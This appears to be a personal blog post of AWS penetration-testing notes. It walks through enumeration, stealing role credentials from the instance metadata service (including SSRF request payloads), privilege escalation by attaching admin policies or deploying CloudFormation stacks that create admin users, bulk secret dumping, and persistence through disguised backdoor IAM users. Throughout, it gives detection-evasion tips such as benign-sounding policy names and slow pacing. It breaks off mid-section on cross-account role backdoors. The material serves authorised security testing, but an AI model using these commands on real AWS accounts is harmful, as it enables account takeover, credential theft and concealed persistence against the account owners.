Skip to main content

Cloud VAPT Notes (AWS)

6523 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Cloud Pentesting (AWS)
#


Initial Access & Reconnaissance
#

Console Access:

  • IAM Login: https://console.aws.amazon.com/
  • IAM Identity Center (SSO): https://[your-subdomain].awsapps.com/start or custom domain
  • Root User Login: https://[account-id].signin.aws.amazon.com/console (avoid in production)

Programmatic Access (CLI):

# Configure AWS CLI v2 profile
aws configure --profile <profile-name>
# Required inputs:
# AWS Access Key ID: AKIA...
# AWS Secret Access Key: [Your Secret]
# Default region: us-east-1 (or target region)
# Output format: json (recommended for parsing)

# Verify configuration and enumerate identity
aws sts get-caller-identity --profile <profile-name>
# Returns: UserId, Account, Arn

# OPSEC: Use --no-sign-request for anonymous S3 access to avoid logging
aws s3 ls s3://public-bucket --no-sign-request

# Configure SSO profile (modern approach)
aws configure sso
# Follow prompts for SSO URL, region, and role selection

Credential Storage & Security:

  • Windows: %USERPROFILE%\.aws\
  • Linux/macOS: ~/.aws/
  • Files:
    • credentials - Long-term access keys (encrypt at rest)
    • config - Profiles, regions, SSO sessions
    • sso/cache/ - Temporary SSO tokens (short-lived)

OPSEC Considerations:

  • Prefer SSO/temporary credentials over long-term keys
  • Use aws-vault or AWS credentials process for encrypted storage
  • Clear credentials after engagement: aws configure --profile <profile> set aws_access_key_id ""

Core Enumeration Strategy
#

Step 1: Identity & Context Verification
#

# Determine current identity (CRITICAL first step)
aws sts get-caller-identity --profile <profile-name>

# Check for assumed role session
aws sts get-session-token --profile <profile-name>

# Enumerate accessible regions (some services are region-specific)
aws account list-regions --region us-east-1 --profile <profile-name>

# Identify organization membership
aws organizations describe-organization --profile <profile-name> 2>/dev/null

# OPSEC: Low-noise commands - these generate minimal CloudTrail events

Step 2: Permission Enumeration (Stealthy Approach)
#

# Modern approach: Use IAM Policy Simulator (less noisy than brute force)
aws iam simulate-principal-policy \
  --policy-source-arn <your-arn> \
  --action-names s3:ListBucket ec2:DescribeInstances \
  --profile <profile-name>

# Enumerate attached policies (if you have iam:ListAttachedUserPolicies)
aws iam list-attached-user-policies --user-name <user> --profile <profile-name>

# Check inline policies
aws iam list-user-policies --user-name <user> --profile <profile-name>

# OPSEC: Test one permission at a time to avoid bulk enumeration alerts
# Example: Check critical permissions individually
for action in "iam:PassRole" "iam:AttachUserPolicy" "ec2:RunInstances"; do
  aws iam simulate-principal-policy \
    --policy-source-arn <your-arn> \
    --action-names "$action" \
    --profile <profile-name> 2>/dev/null
  sleep 2  # Rate limiting
done

Step 3: IAM Deep Dive
#

Users:

# List users (requires iam:ListUsers)
aws iam list-users --profile <profile-name>

# Get specific user with tags
aws iam get-user --user-name <user> --profile <profile-name>

# List user's access keys (check for inactive keys)
aws iam list-access-keys --user-name <user> --profile <profile-name>

# Enumerate MFA devices
aws iam list-mfa-devices --user-name <user> --profile <profile-name>

# Check password policy
aws iam get-account-password-policy --profile <profile-name>

# OPSEC: Enumerate your own user first to establish baseline behavior

Groups:

# List all groups
aws iam list-groups --profile <profile-name>

# Get group with members
aws iam get-group --group-name <group> --max-items 100 --profile <profile-name>

# List group policies
aws iam list-attached-group-policies --group-name <group> --profile <profile-name>

Roles (Critical for privilege escalation):

# List roles (look for overly permissive trust policies)
aws iam list-roles --profile <profile-name>

# Get role trust policy and permissions boundary
aws iam get-role --role-name <role> --profile <profile-name>

# Check for cross-account trust relationships
aws iam get-role --role-name <role> --profile <profile-name> \
  | jq '.Role.AssumeRolePolicyDocument.Statement[] | select(.Principal.AWS)'

# List instance profiles (EC2 role attachments)
aws iam list-instance-profiles --profile <profile-name>

# OPSEC: Focus on roles with "Admin", "Power", or "Elevated" in names

Policy Analysis:

# List managed policies with scope filter
aws iam list-policies --scope Local --profile <profile-name>  # Customer-managed only

# Get policy version (default version)
aws iam get-policy --policy-arn <arn> --profile <profile-name>
aws iam get-policy-version \
  --policy-arn <arn> \
  --version-id $(aws iam get-policy --policy-arn <arn> --query 'Policy.DefaultVersionId' --output text) \
  --profile <profile-name>

# Use IAM Access Analyzer for policy validation (if available)
aws accessanalyzer list-analyzers --profile <profile-name>

# Check for overly permissive policies
aws iam get-policy-version --policy-arn <arn> --version-id v1 --profile <profile-name> \
  | jq '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow" and .Resource=="*")'

EC2 Instance Metadata Service (IMDS) Exploitation
#

IMDSv2 (Token-Based - Now Default on New Instances):
#

# Modern approach: IMDSv2 requires session token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  --connect-timeout 2 --max-time 5)

# Verify token retrieval
echo $TOKEN

# List available metadata categories
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

# Get instance identity document (includes account ID, region)
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/dynamic/instance-identity/document

# Enumerate available IAM roles
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve role credentials
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# Get user-data (may contain secrets)
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/user-data

IMDSv1 (Legacy - Still Works if Not Disabled):
#

# Check if IMDSv1 is enabled (simpler, no token needed)
curl http://169.254.169.254/latest/meta-data/ --connect-timeout 2

# If successful, enumerate directly
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

SSRF Exploitation for IMDSv2
#

# For SSRF scenarios where you control headers
# Example vulnerable endpoint: https://target.com/fetch?url=

# Method 1: Two-request chain (if you can make multiple requests)
# Request 1: Get token (requires PUT method support)
PUT /fetch?url=http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Request 2: Use token in subsequent request
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: [TOKEN_FROM_STEP_1]

# Method 2: If PUT is blocked, look for IMDSv1 fallback
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# OPSEC: IMDSv2 access is logged in CloudTrail under EC2 APIs

Configure Retrieved Credentials:
#

# Method 1: Manual configuration
aws configure set aws_access_key_id <AccessKeyId> --profile ec2-role
aws configure set aws_secret_access_key <SecretAccessKey> --profile ec2-role
aws configure set aws_session_token <Token> --profile ec2-role
aws configure set region <region> --profile ec2-role

# Method 2: Environment variables (preferred for temporary use)
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
export AWS_DEFAULT_REGION="us-east-1"

# Validate credentials
aws sts get-caller-identity --profile ec2-role

# Check credential expiration
aws sts get-session-token --profile ec2-role 2>&1 | grep -i expir

# OPSEC: Temporary credentials expire (typically 6-12 hours)
# Monitor expiration and refresh as needed

AWS Service Enumeration
#

Service Enumeration
#

EC2 (Compute Instances):
#
# List all instances with detailed output
aws ec2 describe-instances --profile <profile-name>

# Filter running instances only
aws ec2 describe-instances \
  --filters "Name=instance-state-name,Values=running" \
  --profile <profile-name>

# Get instances with public IPs (potential entry points)
aws ec2 describe-instances \
  --query 'Reservations[].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags[?Key==`Name`].Value|[0]]' \
  --output table --profile <profile-name>

# List security groups (firewall rules)
aws ec2 describe-security-groups --profile <profile-name>

# Find overly permissive security groups (0.0.0.0/0 access)
aws ec2 describe-security-groups \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]' \
  --output table --profile <profile-name>

# List SSH key pairs
aws ec2 describe-key-pairs --profile <profile-name>

# Enumerate AMIs owned by account
aws ec2 describe-images --owners self --profile <profile-name>

# Check for public AMIs (misconfiguration)
aws ec2 describe-images --owners self \
  --query 'Images[?Public==`true`].[ImageId,Name,Public]' \
  --profile <profile-name>

# List snapshots (may contain sensitive data)
aws ec2 describe-snapshots --owner-ids self --profile <profile-name>

# Find public snapshots (critical misconfiguration)
aws ec2 describe-snapshots --owner-ids self \
  --query 'Snapshots[?Public==`true`].[SnapshotId,VolumeSize,Public]' \
  --profile <profile-name>

# OPSEC: Enumerate one region at a time to avoid bulk API calls
# Use --region flag or loop through regions slowly
for region in us-east-1 us-west-2 eu-west-1; do
  aws ec2 describe-instances --region $region --profile <profile-name> --max-items 10
  sleep 3
done

S3 (Object Storage):
#

# List all accessible buckets
aws s3 ls --profile <profile-name>

# List bucket contents recursively
aws s3 ls s3://<bucket-name> --recursive --profile <profile-name>

# Get bucket location (region)
aws s3api get-bucket-location --bucket <bucket-name> --profile <profile-name>

# Check bucket ACL (access control list)
aws s3api get-bucket-acl --bucket <bucket-name> --profile <profile-name>

# Get bucket policy
aws s3api get-bucket-policy --bucket <bucket-name> --profile <profile-name>

# Check public access block configuration
aws s3api get-public-access-block --bucket <bucket-name> --profile <profile-name>

# List bucket versioning status
aws s3api get-bucket-versioning --bucket <bucket-name> --profile <profile-name>

# Check encryption configuration
aws s3api get-bucket-encryption --bucket <bucket-name> --profile <profile-name>

# Test anonymous access (OPSEC: doesn't require credentials)
aws s3 ls s3://<bucket-name> --no-sign-request

# Download interesting files
aws s3 cp s3://<bucket-name>/<key> . --profile <profile-name>

# Search for credentials in bucket
aws s3 ls s3://<bucket-name> --recursive --profile <profile-name> | grep -E '(\.key|\.pem|credentials|config|\.env|secret)'

# OPSEC: S3 access is heavily logged; use --no-sign-request when possible
# Avoid listing entire large buckets - target specific prefixes

RDS (Managed Databases):
#

# List RDS instances
aws rds describe-db-instances --profile <profile-name>

# Get publicly accessible databases (high-value targets)
aws rds describe-db-instances \
  --query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address,Engine]' \
  --output table --profile <profile-name>

# List database snapshots
aws rds describe-db-snapshots --profile <profile-name>

# Check for public snapshots (critical misconfiguration)
aws rds describe-db-snapshots \
  --query 'DBSnapshots[?Public==`true`].[DBSnapshotIdentifier,DBInstanceIdentifier]' \
  --profile <profile-name>

# Get snapshot attributes (shared with other accounts?)
aws rds describe-db-snapshot-attributes \
  --db-snapshot-identifier <snapshot-id> --profile <profile-name>

# List database subnet groups (network configuration)
aws rds describe-db-subnet-groups --profile <profile-name>

# OPSEC: Focus on publicly accessible instances first

Lambda (Serverless Functions):
#

# List all Lambda functions
aws lambda list-functions --profile <profile-name>

# Get function configuration (includes environment variables)
aws lambda get-function --function-name <function-name> --profile <profile-name>

# Extract environment variables (may contain secrets)
aws lambda get-function-configuration --function-name <function-name> \
  --query 'Environment.Variables' --profile <profile-name>

# Get function policy (resource-based policy)
aws lambda get-policy --function-name <function-name> --profile <profile-name>

# Download function code
aws lambda get-function --function-name <function-name> \
  --query 'Code.Location' --output text --profile <profile-name> | xargs curl -o function.zip

# List layers (may contain shared code/secrets)
aws lambda list-layers --profile <profile-name>

# Check for public functions (invoke permissions)
aws lambda get-policy --function-name <function-name> --profile <profile-name> \
  | jq '.Policy | fromjson | .Statement[] | select(.Principal=="*")'

# OPSEC: Lambda function code may contain hardcoded credentials

Secrets Manager & Parameter Store:
#

# List secrets in Secrets Manager
aws secretsmanager list-secrets --profile <profile-name>

# Get secret value
aws secretsmanager get-secret-value --secret-id <secret-name> --profile <profile-name>

# List SSM parameters (often overlooked)
aws ssm describe-parameters --profile <profile-name>

# Get parameter value (including SecureString if you have kms:Decrypt)
aws ssm get-parameter --name <parameter-name> --with-decryption --profile <profile-name>

# Batch retrieve parameters
aws ssm get-parameters --names <param1> <param2> --with-decryption --profile <profile-name>

# Search for common secret patterns
aws ssm describe-parameters --profile <profile-name> | grep -iE "(password|secret|key|token|api)"

# OPSEC: High-value targets; access is logged but secrets may not rotate

IAM Access Analyzer (Identify External Access):
#

# List analyzers
aws accessanalyzer list-analyzers --profile <profile-name>

# Get findings (identifies resources accessible from outside the account)
aws accessanalyzer list-findings --analyzer-arn <analyzer-arn> --profile <profile-name>

# Filter active findings
aws accessanalyzer list-findings --analyzer-arn <analyzer-arn> \
  --filter '{"status":{"eq":["ACTIVE"]}}' --profile <profile-name>

# OPSEC: This shows what defenders see as risky configurations

CloudFormation & Infrastructure as Code:
#

# List CloudFormation stacks
aws cloudformation list-stacks --profile <profile-name>

# Get stack resources (reveals infrastructure layout)
aws cloudformation describe-stack-resources --stack-name <stack> --profile <profile-name>

# Get stack template (may contain secrets)
aws cloudformation get-template --stack-name <stack> --profile <profile-name>

# List stack outputs (often contains endpoints/credentials)
aws cloudformation describe-stacks --stack-name <stack> \
  --query 'Stacks[0].Outputs' --profile <profile-name>

# OPSEC: Templates may expose architecture and security controls

ECS/EKS (Container Services):
#

# List ECS clusters
aws ecs list-clusters --profile <profile-name>

# List services in cluster
aws ecs list-services --cluster <cluster-name> --profile <profile-name>

# Get task definitions (may contain secrets)
aws ecs list-task-definitions --profile <profile-name>
aws ecs describe-task-definition --task-definition <task-def> --profile <profile-name>

# List EKS clusters
aws eks list-clusters --profile <profile-name>

# Get cluster details
aws eks describe-cluster --name <cluster-name> --profile <profile-name>

# Get kubeconfig for EKS access
aws eks update-kubeconfig --name <cluster-name> --profile <profile-name>

# OPSEC: Container environments often have overprivileged service accounts

Privilege Escalation Techniques
#

1. IAM Policy Attachment/Modification:
#

# Scenario: You have iam:AttachUserPolicy or iam:AttachRolePolicy
# Attach AdministratorAccess to your user/role
aws iam attach-user-policy \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --user-name <current-user> --profile <profile-name>

# Or attach to role
aws iam attach-role-policy \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --role-name <current-role> --profile <profile-name>

# Verify escalation
aws iam list-attached-user-policies --user-name <user> --profile <profile-name>

# OPSEC: Highly logged action; use PowerUserAccess instead for stealth
# PowerUserAccess lacks IAM modification rights but gives broad access
aws iam attach-user-policy \
  --policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
  --user-name <current-user> --profile <profile-name>

2. Inline Policy Creation (Less Visible):
#

# Scenario: You have iam:PutUserPolicy or iam:PutRolePolicy
# Create inline policy with elevated permissions

cat > admin-policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}
EOF

# Attach inline policy (less obvious than managed policy attachment)
aws iam put-user-policy \
  --user-name <current-user> \
  --policy-name SystemMaintenance \
  --policy-document file://admin-policy.json \
  --profile <profile-name>

# OPSEC: Use benign names like "SystemMaintenance" or "BackupPolicy"

3. Policy Version Manipulation:
#

# Scenario: You have iam:CreatePolicyVersion
# Modify existing customer-managed policy

# Get current policy document
aws iam get-policy-version \
  --policy-arn <policy-arn> \
  --version-id v1 \
  --query 'PolicyVersion.Document' \
  --profile <profile-name> > current-policy.json

# Modify policy to add permissions (edit current-policy.json)
# Add: "Action": "*", "Resource": "*"

# Create new version and set as default
aws iam create-policy-version \
  --policy-arn <policy-arn> \
  --policy-document file://current-policy.json \
  --set-as-default \
  --profile <profile-name>

# OPSEC: Original policy remains; can revert by changing default version

4. AssumeRole Privilege Escalation:
#

# Scenario: You have sts:AssumeRole and found a role with weak trust policy
# Check if you can assume the role
aws sts assume-role \
  --role-arn <target-role-arn> \
  --role-session-name RedTeamSession \
  --profile <profile-name>

# Extract credentials from output
# {
#   "Credentials": {
#     "AccessKeyId": "ASIA...",
#     "SecretAccessKey": "...",
#     "SessionToken": "...",
#     "Expiration": "..."
#   }
# }

# Configure assumed role
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Or create new profile
aws configure set aws_access_key_id <AccessKeyId> --profile assumed-role
aws configure set aws_secret_access_key <SecretAccessKey> --profile assumed-role
aws configure set aws_session_token <SessionToken> --profile assumed-role

# Verify new permissions
aws sts get-caller-identity --profile assumed-role

# OPSEC: Role assumption is logged in CloudTrail with session name
# Use generic session names: "AWSCLISession", "ConsoleSession"

5. PassRole + Service Abuse (Lambda, EC2, etc.):
#

# Scenario: You have iam:PassRole + lambda:CreateFunction
# Create Lambda with privileged role

# Create function code that retrieves credentials
cat > lambda_function.py << 'EOF'
import json
import boto3

def lambda_handler(event, context):
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    return {
        'statusCode': 200,
        'body': json.dumps(identity)
    }
EOF

zip function.zip lambda_function.py

# Create Lambda with privileged role
aws lambda create-function \
  --function-name PrivilegeCheck \
  --runtime python3.11 \
  --role <privileged-role-arn> \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip \
  --profile <profile-name>

# Invoke function
aws lambda invoke --function-name PrivilegeCheck output.json --profile <profile-name>
cat output.json

# OPSEC: Lambda inherits role permissions; can perform actions on your behalf

6. EC2 Instance Profile Modification:
#

# Scenario: You have ec2:AssociateIamInstanceProfile + iam:PassRole
# Attach privileged role to existing EC2 instance

# Create instance profile if needed
aws iam create-instance-profile --instance-profile-name PrivilegedProfile --profile <profile-name>

# Add role to instance profile
aws iam add-role-to-instance-profile \
  --instance-profile-name PrivilegedProfile \
  --role-name <privileged-role> \
  --profile <profile-name>

# Associate with instance
aws ec2 associate-iam-instance-profile \
  --instance-id <instance-id> \
  --iam-instance-profile Name=PrivilegedProfile \
  --profile <profile-name>

# Access instance and retrieve credentials via IMDS
# (SSH into instance or use SSM Session Manager)

# OPSEC: Requires instance restart in some cases; coordinate timing

7. Secrets Manager Permission Escalation:
#

# Scenario: You have secretsmanager:GetSecretValue but limited IAM permissions
# Search for high-privilege credentials stored in Secrets Manager

# List all secrets
aws secretsmanager list-secrets --profile <profile-name>

# Look for admin/root credentials
aws secretsmanager list-secrets \
  --query 'SecretList[?contains(Name,`admin`) || contains(Name,`root`) || contains(Name,`master`)].[Name,ARN]' \
  --profile <profile-name>

# Retrieve secret value
aws secretsmanager get-secret-value \
  --secret-id <secret-name> \
  --profile <profile-name> | jq -r '.SecretString'

# Use retrieved credentials
# Often contains database admin passwords, API keys, or AWS credentials

# OPSEC: Secret access is logged but secrets rarely rotate

8. SSM Parameter Store Escalation:
#

# Scenario: You have ssm:GetParameter with kms:Decrypt
# Search for credentials in Parameter Store

# List all parameters
aws ssm describe-parameters --profile <profile-name>

# Get sensitive parameters
aws ssm get-parameters-by-path \
  --path "/" \
  --recursive \
  --with-decryption \
  --profile <profile-name>

# Target specific patterns
for param in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text --profile <profile-name>); do
  echo "Checking: $param"
  aws ssm get-parameter --name "$param" --with-decryption --profile <profile-name> 2>/dev/null | jq -r '.Parameter.Value'
  sleep 1
done

# OPSEC: Parameters may contain third-party API keys, DB passwords, AWS credentials

9. CloudFormation Privilege Escalation:
#

# Scenario: You have cloudformation:CreateStack + iam:PassRole
# Deploy stack that creates privileged resources

cat > escalation-stack.yaml << 'EOF'
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  AdminUser:
    Type: AWS::IAM::User
    Properties:
      UserName: backup-admin
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/AdministratorAccess
  AccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref AdminUser
Outputs:
  AccessKeyId:
    Value: !Ref AccessKey
  SecretAccessKey:
    Value: !GetAtt AccessKey.SecretAccessKey
EOF

# Deploy stack
aws cloudformation create-stack \
  --stack-name maintenance-stack \
  --template-body file://escalation-stack.yaml \
  --capabilities CAPABILITY_NAMED_IAM \
  --profile <profile-name>

# Wait for completion
aws cloudformation wait stack-create-complete \
  --stack-name maintenance-stack \
  --profile <profile-name>

# Get outputs (credentials)
aws cloudformation describe-stacks \
  --stack-name maintenance-stack \
  --query 'Stacks[0].Outputs' \
  --profile <profile-name>

# OPSEC: Use benign stack names; outputs expose credentials

10. STS Token Duration Extension:
#

# Scenario: You have temporary credentials expiring soon
# Extend session duration if possible

# For assumed roles, assume again with longer duration
aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name ExtendedSession \
  --duration-seconds 43200 \
  --profile <profile-name>  # 12 hours (max depends on role config)

# For federated users, check max session duration
aws iam get-role --role-name <role> --query 'Role.MaxSessionDuration' --profile <profile-name>

# OPSEC: Longer sessions = longer access without re-authentication

AWS - Automated Tools & Persistence
#

Automated Reconnaissance Tools
#

Pacu (AWS Exploitation Framework):
#

# Installation (updated for Python 3.9+)
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip3 install -r requirements.txt
python3 pacu.py

# Alternative: Docker installation (cleaner, isolated)
docker pull rhinosecuritylabs/pacu
docker run -it rhinosecuritylabs/pacu

# Initialize session
Pacu (pacu) > new_session <session-name>
Pacu (<session-name>) > set_keys
# Enter credentials or use existing AWS profile

# Import AWS CLI profile
Pacu (<session-name>) > import_keys <profile-name>

# Verify identity
Pacu (<session-name>) > whoami

# Set target regions (reduces noise and API calls)
Pacu (<session-name>) > set_regions us-east-1,us-west-2,eu-west-1

# CORE ENUMERATION MODULES:

# 1. Permission enumeration (essential first step)
Pacu (<session-name>) > run iam__enum_permissions
# Maps your current permissions without generating excessive logs

# 2. Comprehensive IAM enumeration
Pacu (<session-name>) > run iam__enum_users_roles_policies_groups
# Returns: all users, roles, groups, policies in account

# 3. Privilege escalation detection
Pacu (<session-name>) > run iam__privesc_scan
# Identifies 20+ privilege escalation methods
# Output: Escalation paths ranked by difficulty

# 4. Service-specific enumeration
Pacu (<session-name>) > run ec2__enum
Pacu (<session-name>) > run lambda__enum
Pacu (<session-name>) > run rds__enum
Pacu (<session-name>) > run s3__enum

# 5. Secrets hunting
Pacu (<session-name>) > run systemsmanager__download_parameters
# Downloads all SSM parameters (with decryption)

Pacu (<session-name>) > run secretsmanager__secrets_dump
# Extracts all Secrets Manager secrets

# 6. Credential harvesting
Pacu (<session-name>) > run iam__enum_users_roles_policies_groups --access-keys
# Finds users with access keys

Pacu (<session-name>) > run ec2__download_userdata
# Downloads EC2 user-data scripts (often contain credentials)

# 7. Lateral movement prep
Pacu (<session-name>) > run iam__backdoor_assume_role
# Creates backdoor roles for persistence

Pacu (<session-name>) > run iam__backdoor_users_keys
# Creates backdoor users with access keys

# 8. Detection testing
Pacu (<session-name>) > run detection__disruption
# Tests GuardDuty/SecurityHub detection capabilities

# ADVANCED WORKFLOWS:

# Automated privilege escalation
Pacu (<session-name>) > run iam__privesc_scan
# Review output, then exploit specific method:
Pacu (<session-name>) > run iam__privesc_scan --exploit-method PassRole

# Full reconnaissance sweep (generates significant logs)
Pacu (<session-name>) > run guardduty__list_accounts
Pacu (<session-name>) > run organizations__enum
Pacu (<session-name>) > run cloudtrail__download_event_history

# Data exfiltration modules
Pacu (<session-name>) > run s3__download_bucket --bucket-name <bucket>
Pacu (<session-name>) > run rds__explore_snapshots

# OPSEC CONSIDERATIONS:
# - Use 'data' command to review collected data without additional API calls
# - Run 'services' to see which AWS services you've interacted with
# - Use '--regions' flag to limit scope
# - Enable GuardDuty evasion: run cloudtrail__csv_injection (experimental)

# View collected data
Pacu (<session-name>) > data
Pacu (<session-name>) > data EC2  # View specific service data

# Export session data
Pacu (<session-name>) > export_keys <profile-name>

Prowler (AWS Security Assessment):
#

# Installation (v3.x - rewritten in Python, more features)
pip3 install prowler
# Or use Docker
docker pull prowler/prowler

# Basic scan with default checks (500+ checks)
prowler aws

# Use specific profile
prowler aws --profile <profile-name>

# Scan specific regions only (OPSEC: reduces API calls)
prowler aws --profile <profile-name> --region us-east-1 us-west-2

# Filter by service
prowler aws --profile <profile-name> --services iam ec2 s3

# Compliance frameworks (updated for 2024)
prowler aws --compliance cis_2.0_aws        # CIS AWS Foundations Benchmark v2.0
prowler aws --compliance aws_well_architected  # AWS Well-Architected
prowler aws --compliance pci_3.2.1_aws      # PCI DSS
prowler aws --compliance gdpr_aws           # GDPR
prowler aws --compliance hipaa_aws          # HIPAA
prowler aws --compliance nist_800_53_r5     # NIST 800-53 Rev 5

# Severity filtering (focus on critical issues)
prowler aws --severity critical high

# Output formats
prowler aws --output-formats json html csv
prowler aws --output-formats json --output-directory ./reports/

# Specific check execution
prowler aws --checks iam_user_mfa_enabled_console_access
prowler aws --checks s3_bucket_public_access

# Exclude specific checks (reduce noise)
prowler aws --excluded-checks iam_password_policy_*

# Multi-account scanning (AWS Organizations)
prowler aws --organizations-role ProwlerRole

# Quiet mode (less output, faster)
prowler aws --quiet

# OPSEC: Key checks that reveal security posture:
prowler aws --checks iam_root_mfa_enabled
prowler aws --checks cloudtrail_logs_s3_bucket_is_not_publicly_accessible
prowler aws --checks guardduty_is_enabled
prowler aws --checks securityhub_enabled

# Red team focused checks:
prowler aws --services iam --severity critical
prowler aws --checks s3_bucket_public_write_acl
prowler aws --checks rds_instance_publicly_accessible
prowler aws --checks ec2_instance_public_ip

# Generate executive summary
prowler aws --output-formats html json --output-directory ./executive-report/

CloudFox (Attack Path Analysis):
#

# Download latest release
wget https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64
chmod +x cloudfox-linux-amd64
mv cloudfox-linux-amd64 /usr/local/bin/cloudfox

# Or install via Go
go install github.com/BishopFox/cloudfox@latest

# Basic usage with profile
cloudfox aws --profile <profile-name> all-checks

# Individual modules (focused enumeration):

# 1. Identity and access
cloudfox aws --profile <profile-name> principals
# Output: All principals (users, roles, groups) with privilege analysis

cloudfox aws --profile <profile-name> permissions
# Output: Permission mapping for current identity

cloudfox aws --profile <profile-name> role-trusts
# Output: Role trust relationships (identifies AssumeRole opportunities)

# 2. Compute resources
cloudfox aws --profile <profile-name> instances
# Output: EC2 instances with admin roles, public IPs, and attack surface

cloudfox aws --profile <profile-name> elastic-network-interfaces
# Output: ENIs with public IPs (potential entry points)

# 3. Data stores
cloudfox aws --profile <profile-name> buckets
# Output: S3 buckets with public access and sensitive data indicators

cloudfox aws --profile <profile-name> filesystems
# Output: EFS filesystems with access analysis

# 4. Secrets and credentials
cloudfox aws --profile <profile-name> secrets
# Output: Secrets Manager and Parameter Store secrets

cloudfox aws --profile <profile-name> env-vars
# Output: Environment variables from Lambda, ECS, etc.

# 5. Network analysis
cloudfox aws --profile <profile-name> endpoints
# Output: API Gateway, Load Balancers, public endpoints

cloudfox aws --profile <profile-name> route53
# Output: DNS records pointing to resources

# 6. Serverless
cloudfox aws --profile <profile-name> lambda
# Output: Lambda functions with roles and resource access

# 7. Organizations (multi-account)
cloudfox aws --profile <profile-name> orgs
# Output: AWS Organization structure

cloudfox aws --profile <profile-name> inventory
# Output: Cross-account resource inventory

# ATTACK PATH ANALYSIS:

# Generate attack graph (visual representation)
cloudfox aws --profile <profile-name> graph
# Creates graphviz diagram of attack paths

# Output directory structure
cloudfox aws --profile <profile-name> all-checks --output ./cloudfox-output/

# Multi-region analysis
cloudfox aws --profile <profile-name> --region us-east-1,us-west-2,eu-west-1 all-checks

# Filter by resource type
cloudfox aws --profile <profile-name> instances --filter-name "*prod*"

# OPSEC ADVANTAGES:
# - Read-only operations (no modifications)
# - Generates Markdown reports (easy to review offline)
# - Identifies privilege escalation paths automatically
# - Maps trust relationships across accounts

ScoutSuite (Multi-Cloud Security Auditing):
#

# Installation
pip install scoutsuite

# AWS scan
scout aws --profile <profile-name>

# Scan specific services only
scout aws --profile <profile-name> --services iam s3 ec2

# No browser (headless mode)
scout aws --profile <profile-name> --no-browser

# Custom ruleset
scout aws --profile <profile-name> --ruleset custom-rules.json

# Multi-region
scout aws --profile <profile-name> --regions us-east-1 us-west-2

# Output directory
scout aws --profile <profile-name> --report-dir ./scoutsuite-report/

# OPSEC: Generates comprehensive HTML report with findings categorized by severity

WeirdAAL (AWS Attack Library):
#

# Installation
git clone https://github.com/carnal0wnage/weirdAAL.git
cd weirdAAL
pip3 install -r requirements.txt

# Setup
python3 weirdAAL.py -l  # List modules

# Recon modules
python3 weirdAAL.py -m recon_all -t <profile-name>
python3 weirdAAL.py -m list_buckets -t <profile-name>
python3 weirdAAL.py -m enum_lateral -t <profile-name>

# Exploitation modules
python3 weirdAAL.py -m create_user -t <profile-name>
python3 weirdAAL.py -m privesc_scan -t <profile-name>

# OPSEC: Older tool, may trigger more alerts; use for testing detection

CloudMapper (AWS Visualization):
#

# Installation
git clone https://github.com/duo-labs/cloudmapper.git
cd cloudmapper
pip3 install -r requirements.txt

# Configure
python3 cloudmapper.py configure add-account --config-file config.json \
  --name <account-name> --id <account-id> --default true

# Collect data
python3 cloudmapper.py collect --account <account-name> --profile <profile-name>

# Generate network diagram
python3 cloudmapper.py prepare --account <account-name>
python3 cloudmapper.py webserver

# OPSEC: Creates visual network maps; useful for understanding architecture

Persistence Mechanisms
#

1. IAM User Backdoor (Classic but Effective):
#

# Create inconspicuous user
aws iam create-user --user-name aws-support-engineer --profile <profile-name>

# Generate access keys
aws iam create-access-key --user-name aws-support-engineer --profile <profile-name>
# Save output: AccessKeyId and SecretAccessKey

# Attach policy (PowerUserAccess is less obvious than AdministratorAccess)
aws iam attach-user-policy \
  --user-name aws-support-engineer \
  --policy-arn arn:aws:iam::aws:policy/PowerUserAccess \
  --profile <profile-name>

# Add tags to make user look legitimate
aws iam tag-user \
  --user-name aws-support-engineer \
  --tags Key=Department,Value=IT Key=Purpose,Value=Automation \
  --profile <profile-name>

# OPSEC: Use service account naming conventions
# Good names: "aws-backup-service", "cloudwatch-integration", "terraform-deployer"
# Avoid: "backdoor", "admin", "hacker"

2. IAM Role Backdoor with Cross-Account Trust:
#

# Create role with trust policy allowing external account (your attacker account)
